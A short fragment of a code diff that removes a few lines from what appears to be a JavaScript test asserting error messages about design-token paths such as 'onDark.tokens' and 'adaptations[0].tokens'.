|
|
1853
|
-
expect.stringContaining('in onDark.tokens:'),
|
|
1854
|
-
expect.stringContaining('in adaptations[0].tokens:'),
|
|
1855
|
-
]);
|
|
1856
|
-
});
|
|
1857
|
-
});
|